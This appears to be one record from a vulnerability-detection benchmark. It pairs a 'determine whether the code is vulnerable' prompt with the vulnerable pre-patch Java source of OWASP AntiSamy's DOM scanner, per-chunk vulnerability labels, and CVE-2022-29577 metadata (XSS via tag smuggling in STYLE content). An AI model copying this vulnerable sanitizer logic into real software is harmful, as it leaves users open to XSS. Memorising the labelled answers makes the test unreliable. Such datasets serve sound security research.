anteriores a 1.6.7, permite un ataque de tipo XSS por medio de contrabando de etiquetas HTML en contenido STYLE con entrada dise\u00f1ada. El serializador de salida no codifica correctamente el supuesto contenido de las hojas de estilo en cascada (CSS). NOTA: este problema se presenta debido a una correcci\u00f3n incompleta de CVE-2022-28367"}], "evaluatorComment": null, "id": "CVE-2022-29577", "lastModified": "2023-02-23T18:47:00.307", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-04-21T23:15:10.467", "references": [{"source": "cve@mitre.org", "tags": ["Patch"], "url": "https://github.com/nahsra/antisamy/commit/32e273507da0e964b58c50fd8a4c94c9d9363af0"}, {"source": "cve@mitre.org", "tags": ["Release Notes"], "url": "https://github.com/nahsra/antisamy/releases/tag/v1.6.7"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://www.oracle.com/security-alerts/cpujul2022.html"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/nahsra/antisamy/commit/32e273507da0e964b58c50fd8a4c94c9d9363af0"}, "type": "CWE-79"}
130
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n * Copyright (c) 2007-2021, Arshan Dabirsiaghi, Jason Li\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n *\n * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\npackage org.owasp.validator.html.scan;", "import org.apache.batik.css.parser.ParseException;\nimport org.apache.xerces.dom.DocumentImpl;\nimport net.sourceforge.htmlunit.cyberneko.parsers.DOMFragmentParser;\nimport org.owasp.validator.css.CssScanner;\nimport org.owasp.validator.html.CleanResults;\nimport org.owasp.validator.html.Policy;\nimport org.owasp.validator.html.PolicyException;\nimport org.owasp.validator.html.ScanException;\nimport org.owasp.validator.html.model.Attribute;\nimport org.owasp.validator.html.model.Tag;\nimport org.owasp.validator.html.util.ErrorMessageUtil;\nimport org.owasp.validator.html.util.HTMLEntityEncoder;\nimport org.w3c.dom.Comment;\nimport org.w3c.dom.DOMException;\nimport org.w3c.dom.Document;\nimport org.w3c.dom.DocumentFragment;\nimport org.w3c.dom.Element;\nimport org.w3c.dom.NamedNodeMap;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\nimport org.w3c.dom.ProcessingInstruction;\nimport org.w3c.dom.Text;\nimport org.xml.sax.InputSource;\nimport org.xml.sax.SAXException;\nimport org.xml.sax.SAXNotRecognizedException;\nimport org.xml.sax.SAXNotSupportedException;", "import java.io.IOException;\nimport java.io.StringReader;\nimport java.io.StringWriter;\nimport java.util.List;\nimport java.util.Queue;\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;", "/**\n * This is where the magic lives. All the scanning/filtration logic resides\n * here, but it should not be called directly. All scanning should be done\n * through an <code>AntiSamy.scan()</code> method.\n * \n * @author Arshan Dabirsiaghi\n */\npublic class AntiSamyDOMScanner extends AbstractAntiSamyScanner {\n private Document document = new DocumentImpl();\n private DocumentFragment dom = document.createDocumentFragment();\n private CleanResults results = null;\n private static final int maxDepth = 250;\n private static final Pattern invalidXmlCharacters =\n Pattern.compile(\"[\\\\u0000-\\\\u001F\\\\uD800-\\\\uDFFF\\\\uFFFE-\\\\uFFFF&&[^\\\\u0009\\\\u000A\\\\u000D]]\");\n private static final Pattern conditionalDirectives = Pattern.compile(\"<?!?\\\\[\\\\s*(?:end)?if[^]]*\\\\]>?\");", " private static final Queue<CachedItem> cachedItems = new ConcurrentLinkedQueue<CachedItem>();", " static class CachedItem {\n private final DOMFragmentParser parser;\n private final Matcher invalidXmlCharMatcher = invalidXmlCharacters.matcher(\"\");", "\n CachedItem() throws SAXNotSupportedException, SAXNotRecognizedException {\n this.parser = getDomParser();\n }", " DOMFragmentParser getDomFragmentParser() {\n return parser;\n }\n }", " public AntiSamyDOMScanner(Policy policy) {\n super(policy);\n }", " /* UnusedDeclaration TODO Investigate */\n public AntiSamyDOMScanner() throws PolicyException {\n super();\n }", " /**\n * This is where the magic lives.\n *\n * @param html A String whose contents we want to scan.\n * @return A <code>CleanResults</code> object with an\n * <code>XMLDocumentFragment</code> object and its String\n * representation, as well as some scan statistics.\n * @throws ScanException When there is a problem encountered\n\t * while scanning the HTML.\n\t */\n @Override\n public CleanResults scan(String html) throws ScanException {", " if (html == null) {\n throw new ScanException(new NullPointerException(\"Null html input\"));\n }", " errorMessages.clear();\n int maxInputSize = policy.getMaxInputSize();", " if (maxInputSize < html.length()) {\n addError(ErrorMessageUtil.ERROR_INPUT_SIZE, new Object[]{html.length(), maxInputSize});\n throw new ScanException(errorMessages.get(0));\n }", " isNofollowAnchors = policy.isNofollowAnchors();\n isNoopenerAndNoreferrerAnchors = policy.isNoopenerAndNoreferrerAnchors();\n isValidateParamAsEmbed = policy.isValidateParamAsEmbed();", " long startOfScan = System.currentTimeMillis();", " try {", " CachedItem cachedItem;\n cachedItem = cachedItems.poll();\n if (cachedItem == null){\n cachedItem = new CachedItem();\n }", " /*\n * We have to replace any invalid XML characters to prevent NekoHTML\n * from breaking when it gets passed encodings like %21.\n */", " html = stripNonValidXMLCharacters(html, cachedItem.invalidXmlCharMatcher);", " /*\n * First thing we do is call the HTML cleaner (\"NekoHTML\") on it\n * with the appropriate options. We choose not to omit tags due to\n * the fallibility of our own listing in the ever changing world of\n * W3C.\n */", " DOMFragmentParser parser = cachedItem.getDomFragmentParser();", " try {\n parser.parse(new InputSource(new StringReader(html)), dom);\n } catch (Exception e) {\n throw new ScanException(e);\n }", " processChildren(dom, 0);", " /*\n * Serialize the output and then return the resulting DOM object and\n * its string representation.\n */", " final String trimmedHtml = html;", " StringWriter out = new StringWriter();", " @SuppressWarnings(\"deprecation\")\n org.apache.xml.serialize.OutputFormat format = getOutputFormat();", " //noinspection deprecation\n org.apache.xml.serialize.HTMLSerializer serializer = getHTMLSerializer(out, format);\n serializer.serialize(dom);", " /*\n * Get the String out of the StringWriter and rip out the XML\n * declaration if the Policy says we should.\n */\n final String trimmed = trim( trimmedHtml, out.getBuffer().toString() );", " Callable<String> cleanHtml = new Callable<String>() {\n public String call() throws Exception {\n return trimmed;\n }\n };", " /*\n * Return the DOM object as well as string HTML.\n */\n results = new CleanResults(startOfScan, cleanHtml, dom, errorMessages);", " cachedItems.add( cachedItem);\n return results;", " } catch (SAXException | IOException e) {\n throw new ScanException(e);\n }", " }", " static DOMFragmentParser getDomParser()\n throws SAXNotRecognizedException, SAXNotSupportedException {\n DOMFragmentParser parser = new DOMFragmentParser();\n parser.setProperty(\"http://cyberneko.org/html/properties/names/elems\", \"lower\");", " parser.setFeature(\"http://cyberneko.org/html/features/scanner/style/strip-cdata-delims\", false);\n parser.setFeature(\"http://cyberneko.org/html/features/scanner/cdata-sections\", true);", " try {\n parser.setFeature(\"http://cyberneko.org/html/features/enforce-strict-attribute-names\", true);\n } catch (SAXNotRecognizedException se) {\n // this indicates that the patched nekohtml is not on the\n // classpath\n }\n return parser;\n }", " /**\n * The workhorse of the scanner. Recursively scans document elements\n * according to the policy. This should be called implicitly through the\n * AntiSamy.scan() method.\n *\n * @param node The node to validate.\n */\n private void recursiveValidateTag(final Node node, int currentStackDepth) throws ScanException {", " currentStackDepth++;", " if(currentStackDepth > maxDepth) {\n throw new ScanException(\"Too many nested tags\");\n }", " if (node instanceof Comment) {\n processCommentNode(node);\n return;\n }", " boolean isElement = node instanceof Element;\n NodeList eleChildNodes = node.getChildNodes();\n if (isElement && eleChildNodes.getLength() == 0) {\n if (removeDisallowedEmpty(node)){\n return;\n }\n }", " if (node instanceof Text && Node.CDATA_SECTION_NODE == node.getNodeType()) {\n stripCData(node);\n return;\n }", " if (node instanceof ProcessingInstruction) {\n removePI(node);\n }", " if (!isElement) {\n return;\n }", " final Element ele = (Element) node;\n final Node parentNode = ele.getParentNode();", " final String tagName = ele.getNodeName();\n final String tagNameLowerCase = tagName.toLowerCase();\n Tag tagRule = policy.getTagByLowercaseName(tagNameLowerCase);", " /*\n * If <param> and no policy and isValidateParamAsEmbed and policy in\n * place for <embed> and <embed> policy is to validate, use custom\n * policy to get the tag through to the validator.\n */\n Tag embedTag = policy.getEmbedTag();\n boolean masqueradingParam = isMasqueradingParam(tagRule, embedTag, tagNameLowerCase);\n if (masqueradingParam){\n tagRule = Constants.BASIC_PARAM_TAG_RULE;\n }", " if ((tagRule == null && policy.isEncodeUnknownTag()) || (tagRule != null && tagRule.isAction( \"encode\"))) {\n encodeTag(currentStackDepth, ele, tagName, eleChildNodes);\n } else if (tagRule == null || tagRule.isAction( Policy.ACTION_FILTER)) {\n actionFilter(currentStackDepth, ele, tagName, tagRule, eleChildNodes);\n } else if (tagRule.isAction( Policy.ACTION_VALIDATE)) {\n actionValidate(currentStackDepth, ele, parentNode, tagName, tagNameLowerCase, tagRule, masqueradingParam, embedTag, eleChildNodes);\n } else if (tagRule.isAction( Policy.ACTION_TRUNCATE)) {\n actionTruncate(ele, tagName, eleChildNodes);\n } else {\n /*\n * If we reached this that means that the tag's action is \"remove\",\n * which means to remove the tag (including its contents).\n */\n addError(ErrorMessageUtil.ERROR_TAG_DISALLOWED, new Object[]{HTMLEntityEncoder.htmlEntityEncode(tagName)});\n removeNode(ele);\n }\n }", " private boolean isMasqueradingParam(Tag tagRule, Tag embedTag, String tagNameLowerCase){\n if (tagRule == null && isValidateParamAsEmbed && \"param\".equals(tagNameLowerCase)) {\n return embedTag != null && embedTag.isAction(Policy.ACTION_VALIDATE);\n }\n return false;\n }", " private void encodeTag(int currentStackDepth, Element ele, String tagName, NodeList eleChildNodes) throws ScanException {\n addError(ErrorMessageUtil.ERROR_TAG_ENCODED, new Object[]{HTMLEntityEncoder.htmlEntityEncode(tagName)});\n processChildren(eleChildNodes, currentStackDepth);", " /*\n * Transform the tag to text, HTML-encode it and promote the\n * children. The tag will be kept in the fragment as one or two text\n * Nodes located before and after the children; representing how the\n * tag used to wrap them.\n */", " encodeAndPromoteChildren(ele);\n }", " private void actionFilter(int currentStackDepth, Element ele, String tagName, Tag tag, NodeList eleChildNodes) throws ScanException {\n if (tag == null) {\n addError(ErrorMessageUtil.ERROR_TAG_NOT_IN_POLICY, new Object[]{HTMLEntityEncoder.htmlEntityEncode(tagName)});\n } else {\n addError(ErrorMessageUtil.ERROR_TAG_FILTERED, new Object[]{HTMLEntityEncoder.htmlEntityEncode(tagName)});\n }", " processChildren(eleChildNodes, currentStackDepth);\n promoteChildren(ele);\n }", " private void actionValidate(int currentStackDepth, Element ele, Node parentNode, String tagName, String tagNameLowerCase, Tag tag, boolean masqueradingParam, Tag embedTag, NodeList eleChildNodes) throws ScanException {\n /*\n * If doing <param> as <embed>, now is the time to convert it.\n */\n String nameValue = null;\n if (masqueradingParam) {\n nameValue = ele.getAttribute(\"name\");\n if (nameValue != null && !\"\".equals(nameValue)) {\n String valueValue = ele.getAttribute(\"value\");\n ele.setAttribute(nameValue, valueValue);\n ele.removeAttribute(\"name\");\n ele.removeAttribute(\"value\");\n tag = embedTag;\n }\n }", " /*\n * Check to see if it's a <style> tag. We have to special case this\n * tag so we can hand it off to the custom style sheet validating\n * parser.\n */", " if (\"style\".equals(tagNameLowerCase) && policy.getStyleTag() != null) {\n if (processStyleTag(ele, parentNode)) return;\n }", " /*\n * Go through the attributes in the tainted tag and validate them\n * against the values we have for them.\n *\n * If we don't have a rule for the attribute we remove the\n * attribute.\n */", " if (processAttributes(ele, tagName, tag, currentStackDepth)) return; // can't process any more if we", " if (\"a\".equals(tagNameLowerCase)) {\n boolean addNofollow = isNofollowAnchors;\n boolean addNoopenerAndNoreferrer = false;", " if (isNoopenerAndNoreferrerAnchors) {\n Node targetAttribute = ele.getAttributes().getNamedItem(\"target\");\n if (targetAttribute != null && targetAttribute.getNodeValue().equalsIgnoreCase(\"_blank\")) {\n addNoopenerAndNoreferrer = true;\n }\n }", " Node relAttribute = ele.getAttributes().getNamedItem(\"rel\");\n String relValue = Attribute.mergeRelValuesInAnchor(addNofollow, addNoopenerAndNoreferrer, relAttribute == null ? \"\" : relAttribute.getNodeValue());\n if (!relValue.isEmpty()){\n ele.setAttribute(\"rel\", relValue.trim());\n }\n }", " processChildren(eleChildNodes, currentStackDepth);", " /*\n * If we have been dealing with a <param> that has been converted to\n * an <embed>, convert it back\n */\n if (masqueradingParam && nameValue != null && !\"\".equals(nameValue)) {\n String valueValue = ele.getAttribute(nameValue);\n ele.setAttribute(\"name\", nameValue);\n ele.setAttribute(\"value\", valueValue);\n ele.removeAttribute(nameValue);\n }\n }", " private boolean processStyleTag(Element ele, Node parentNode) {\n /*\n * Invoke the css parser on this element.\n */\n CssScanner styleScanner = new CssScanner(policy, messages, policy.isEmbedStyleSheets());", " try {", " int childNodesCount = ele.getChildNodes().getLength();\n if (childNodesCount > 0) {", " StringBuffer toScan = new StringBuffer();", " for (int i = 0; i < ele.getChildNodes().getLength(); i++) {\n Node childNode = ele.getChildNodes().item(i);\n if (toScan.length() > 0) {\n toScan.append(\"\\n\");\n }\n toScan.append(childNode.getTextContent());\n }", " CleanResults cr = styleScanner.scanStyleSheet(toScan.toString(), policy.getMaxInputSize());\n errorMessages.addAll(cr.getErrorMessages());", " /*\n * If IE gets an empty style tag, i.e. <style/> it will\n * break all CSS on the page. I wish I was kidding. So,\n * if after validation no CSS properties are left, we\n * would normally be left with an empty style tag and\n * break all CSS. To prevent that, we have this check.\n */", "", " String cleanHTML = cr.getCleanHTML();\n cleanHTML = cleanHTML == null || cleanHTML.equals(\"\") ? \"/* */\" : cleanHTML;", " ele.getFirstChild().setNodeValue(cleanHTML);\n /*\n * Remove every other node after cleaning CSS, there will\n * be only one node in the end, as it always should have.", " * Starting from the end due to list updating on the fly.", " */", " for (int i = childNodesCount - 1; i >= 1; i--) {", " Node childNode = ele.getChildNodes().item(i);\n ele.removeChild(childNode);\n }\n }", "", " } catch (DOMException | ScanException | ParseException | NumberFormatException e) {", "", " /*\n * ParseException shouldn't be possible anymore, but we'll leave it\n * here because I (Arshan) am hilariously dumb sometimes.\n * Batik can throw NumberFormatExceptions (see bug #48).\n */", "", " addError(ErrorMessageUtil.ERROR_CSS_TAG_MALFORMED, new Object[]{HTMLEntityEncoder.htmlEntityEncode(ele.getFirstChild().getNodeValue())});\n parentNode.removeChild(ele);\n return true;\n }\n return false;\n }", " private void actionTruncate(Element ele, String tagName, NodeList eleChildNodes) {\n /*\n * Remove all attributes. This is for tags like i, b, u, etc. Purely\n * formatting without any need for attributes. It also removes any\n * children.\n */", " NamedNodeMap nnmap = ele.getAttributes();\n while (nnmap.getLength() > 0) {\n addError(ErrorMessageUtil.ERROR_ATTRIBUTE_NOT_IN_POLICY,\n new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(nnmap.item(0).getNodeName())});\n ele.removeAttribute(nnmap.item(0).getNodeName());\n }", " int i = 0;\n int j = 0;\n int length = eleChildNodes.getLength();", " while (i < length) {\n Node nodeToRemove = eleChildNodes.item(j);\n if (nodeToRemove.getNodeType() != Node.TEXT_NODE) {\n ele.removeChild(nodeToRemove);\n } else {\n j++;\n }\n i++;\n }\n }", " private boolean processAttributes(Element ele, String tagName, Tag tag, int currentStackDepth) throws ScanException {\n Node attribute;", " NamedNodeMap attributes = ele.getAttributes();\n for (int currentAttributeIndex = 0; currentAttributeIndex < attributes.getLength(); currentAttributeIndex++) {", " attribute = attributes.item(currentAttributeIndex);", " String name = attribute.getNodeName();\n String value = attribute.getNodeValue();", " Attribute attr = tag.getAttributeByName(name.toLowerCase());", " /*\n * If we there isn't an attribute by that name in our policy\n * check to see if it's a globally defined attribute. Validate\n * against that if so.\n */\n if (attr == null) {\n attr = policy.getGlobalAttributeByName(name);\n if (attr == null && policy.isAllowDynamicAttributes()) {\n // not a global attribute, perhaps it is a dynamic attribute, if allowed\n attr = policy.getDynamicAttributeByName(name);\n }\n }", " /*\n * We have to special case the \"style\" attribute since it's\n * validated quite differently.\n */\n if (\"style\".equals(name.toLowerCase()) && attr != null) {", " /*\n * Invoke the CSS parser on this element.\n */\n CssScanner styleScanner = new CssScanner(policy, messages, false);", " try {\n CleanResults cr = styleScanner.scanInlineStyle(value, tagName, policy.getMaxInputSize());\n attribute.setNodeValue(cr.getCleanHTML());\n List<String> cssScanErrorMessages = cr.getErrorMessages();\n errorMessages.addAll(cssScanErrorMessages);", " } catch (DOMException | ScanException e) {", " addError(ErrorMessageUtil.ERROR_CSS_ATTRIBUTE_MALFORMED,\n new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(ele.getNodeValue())});\n ele.removeAttribute(attribute.getNodeName());\n currentAttributeIndex--;\n }", " } else {", " if (attr != null) {", " // See if attribute is invalid\n if (!(attr.containsAllowedValue( value.toLowerCase()) ||\n (attr.matchesAllowedExpression( value ))) ) {", " /*\n * Attribute is NOT valid, so: Document transgression and perform the\n * \"onInvalid\" action. The default action is to\n * strip the attribute and leave the rest intact.\n */", " String onInvalidAction = attr.getOnInvalid();", " if (\"removeTag\".equals(onInvalidAction)) {", " /*\n * Remove the tag and its contents.\n */", " removeNode(ele);", " addError(ErrorMessageUtil.ERROR_ATTRIBUTE_INVALID_REMOVED,\n new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value)});\n return true;", " } else if (\"filterTag\".equals(onInvalidAction)) {", " /*\n * Remove the attribute and keep the rest of the tag.\n */", " processChildren(ele, currentStackDepth);\n promoteChildren(ele);\n addError(ErrorMessageUtil.ERROR_ATTRIBUTE_CAUSE_FILTER,\n new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value)});\n return true;\n } else if (\"encodeTag\".equals(onInvalidAction)) {", " /*\n * Remove the attribute and keep the rest of the tag.\n */", " processChildren(ele, currentStackDepth);\n encodeAndPromoteChildren(ele);\n addError(ErrorMessageUtil.ERROR_ATTRIBUTE_CAUSE_ENCODE,\n new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value)});\n return true;\n } else {", " /*\n * onInvalidAction = \"removeAttribute\"\n */", " ele.removeAttribute(attribute.getNodeName());\n currentAttributeIndex--;\n addError(ErrorMessageUtil.ERROR_ATTRIBUTE_INVALID,\n new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value)});\n \n }\n }", " } else {\n /*\n * the attribute they specified isn't in our policy\n * - remove it (whitelisting!)\n */", " addError(ErrorMessageUtil.ERROR_ATTRIBUTE_NOT_IN_POLICY,\n new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value)});\n ele.removeAttribute(attribute.getNodeName());\n currentAttributeIndex--;", " } // end if attribute is found in policy file", " } // end while loop through attributes", " } // loop through each attribute\n return false;\n }", " private void processChildren(Node ele, int currentStackDepth) throws ScanException {\n processChildren(ele.getChildNodes(), currentStackDepth);\n }", " private void processChildren(NodeList childNodes, int currentStackDepth ) throws ScanException {\n Node tmp;\n for (int i = 0; i < childNodes.getLength(); i++) {", " tmp = childNodes.item(i);\n recursiveValidateTag(tmp, currentStackDepth);", " /*\n * This indicates the node was removed/failed validation.\n */\n if (tmp.getParentNode() == null) {\n i--;\n }\n }\n }", " private void removePI(Node node) {\n addError(ErrorMessageUtil.ERROR_PI_FOUND, new Object[]{HTMLEntityEncoder.htmlEntityEncode(node.getTextContent())});\n removeNode(node);\n }", " private void stripCData(Node node) {\n addError(ErrorMessageUtil.ERROR_CDATA_FOUND, new Object[]{HTMLEntityEncoder.htmlEntityEncode(node.getTextContent())});\n Node text = document.createTextNode(node.getTextContent());\n node.getParentNode().insertBefore(text, node);\n node.getParentNode().removeChild(node);\n }", " private void processCommentNode(Node node) {\n if (!policy.isPreserveComments()) {\n node.getParentNode().removeChild(node);\n } else {\n String value = ((Comment) node).getData();\n // Strip conditional directives regardless of the\n // PRESERVE_COMMENTS setting.\n if (value != null) {\n ((Comment) node).setData(conditionalDirectives.matcher(value).replaceAll(\"\"));\n }\n }\n }", " private boolean removeDisallowedEmpty(Node node){\n String tagName = node.getNodeName();", " if (!isAllowedEmptyTag(tagName)) {\n /*\n * Wasn't in the list of allowed elements, so we'll nuke it.\n */\n addError(ErrorMessageUtil.ERROR_TAG_EMPTY, new Object[]{HTMLEntityEncoder.htmlEntityEncode(node.getNodeName())});\n removeNode(node);\n return true;\n }\n return false;\n }", " private void removeNode(Node node) {\n\t\tNode parent = node.getParentNode();\n\t\tparent.removeChild(node);\n\t\tString tagName = parent.getNodeName();\n\t\tif(\tparent instanceof Element && \n\t\t\tparent.getChildNodes().getLength() == 0 && \n\t\t\t!isAllowedEmptyTag(tagName)) {\n\t\t\tremoveNode(parent);\n\t\t}\n\t}", "\tprivate boolean isAllowedEmptyTag(String tagName) {\n return \"head\".equals(tagName ) || policy.getAllowedEmptyTags().matches(tagName);\n\t}\n\t\n /**\n * Used to promote the children of a parent to accomplish the \"filterTag\" action.\n *\n * @param ele The Element we want to filter.\n */\n private void promoteChildren(Element ele) {\n promoteChildren(ele, ele.getChildNodes());\n }", " private void promoteChildren(Element ele, NodeList eleChildNodes) {", " Node parent = ele.getParentNode();", " while (eleChildNodes.getLength() > 0) {\n Node node = ele.removeChild(eleChildNodes.item(0));\n parent.insertBefore(node, ele);\n }", " if (parent != null) {\n removeNode(ele);\n }\n }", " /**\n * This method was borrowed from Mark McLaren, to whom I owe much beer.\n *\n * This method ensures that the output has only valid XML unicode characters\n * as specified by the XML 1.0 standard. For reference, please see <a\n * href=\"http://www.w3.org/TR/2000/REC-xml-20001006#NT-Char\">the\n * standard</a>. This method will return an empty String if the input is\n * null or empty.\n *\n * @param in The String whose non-valid characters we want to remove.\n * @param invalidXmlCharsMatcher The reusable regex matcher\n * @return The in String, stripped of non-valid characters.\n */\n private String stripNonValidXMLCharacters(String in, Matcher invalidXmlCharsMatcher) {", " if (in == null || (\"\".equals(in))) {\n return \"\"; // vacancy test.\n }\n invalidXmlCharsMatcher.reset(in);\n return invalidXmlCharsMatcher.matches() ? invalidXmlCharsMatcher.replaceAll(\"\") : in;\n }", " /**\n * Transform the element to text, HTML-encode it and promote the children.\n * The element will be kept in the fragment as one or two text Nodes located\n * before and after the children; representing how the tag used to wrap\n * them. If the element didn't have any children then only one text Node is\n * created representing an empty element.\n *\n * @param ele Element to be encoded\n */\n private void encodeAndPromoteChildren(Element ele) {\n Node parent = ele.getParentNode();\n String tagName = ele.getTagName();\n Node openingTag = parent.getOwnerDocument().createTextNode(toString(ele));\n parent.insertBefore(openingTag, ele);\n if (ele.hasChildNodes()) {\n Node closingTag = parent.getOwnerDocument().createTextNode(\"</\" + tagName + \">\");\n parent.insertBefore(closingTag, ele.getNextSibling());\n }\n promoteChildren(ele);\n }", " /**\n * Returns a text version of the passed element\n *\n * @param ele Element to be converted\n * @return String representation of the element\n */\n private String toString(Element ele) {\n StringBuilder eleAsString = new StringBuilder(\"<\" + ele.getNodeName());\n NamedNodeMap attributes = ele.getAttributes();\n Node attribute;\n for (int i = 0; i < attributes.getLength(); i++) {\n attribute = attributes.item(i);", " String name = attribute.getNodeName();\n String value = attribute.getNodeValue();", " eleAsString.append(\" \");\n eleAsString.append(HTMLEntityEncoder.htmlEntityEncode(name));\n eleAsString.append(\"=\\\"\");\n eleAsString.append(HTMLEntityEncoder.htmlEntityEncode(value));\n eleAsString.append(\"\\\"\");\n }\n if (ele.hasChildNodes()) {\n eleAsString.append(\">\");\n } else {\n eleAsString.append(\"/>\");\n }\n return eleAsString.toString();\n }", " @Override\n public CleanResults getResults() {\n return results;\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [454, 1719], "buggy_code_start_loc": [410, 1715], "filenames": ["src/main/java/org/owasp/validator/html/scan/AntiSamyDOMScanner.java", "src/test/java/org/owasp/validator/html/test/AntiSamyTest.java"], "fixing_code_end_loc": [451, 1724], "fixing_code_start_loc": [410, 1716], "message": "OWASP AntiSamy before 1.6.7 allows XSS via HTML tag smuggling on STYLE content with crafted input. The output serializer does not properly encode the supposed Cascading Style Sheets (CSS) content. NOTE: this issue exists because of an incomplete fix for CVE-2022-28367.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:antisamy_project:antisamy:*:*:*:*:*:*:*:*", "matchCriteriaId": "A2700372-2AF6-4FD7-B284-2C32001E0153", "versionEndExcluding": "1.6.7", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:oracle:enterprise_manager_base_platform:13.4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "D26F3E23-F1A9-45E7-9E5F-0C0A24EE3783", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:enterprise_manager_base_platform:13.5.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "6E8758C8-87D3-450A-878B-86CE8C9FC140", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:12.2.1.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "F14A818F-AA16-4438-A3E4-E64C9287AC66", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:12.2.1.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "4A5BB153-68E0-4DDA-87D1-0D9AB7F0A418", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:14.1.1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "04BCDC24-4A21-473C-8733-0D9CFB38A752", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, 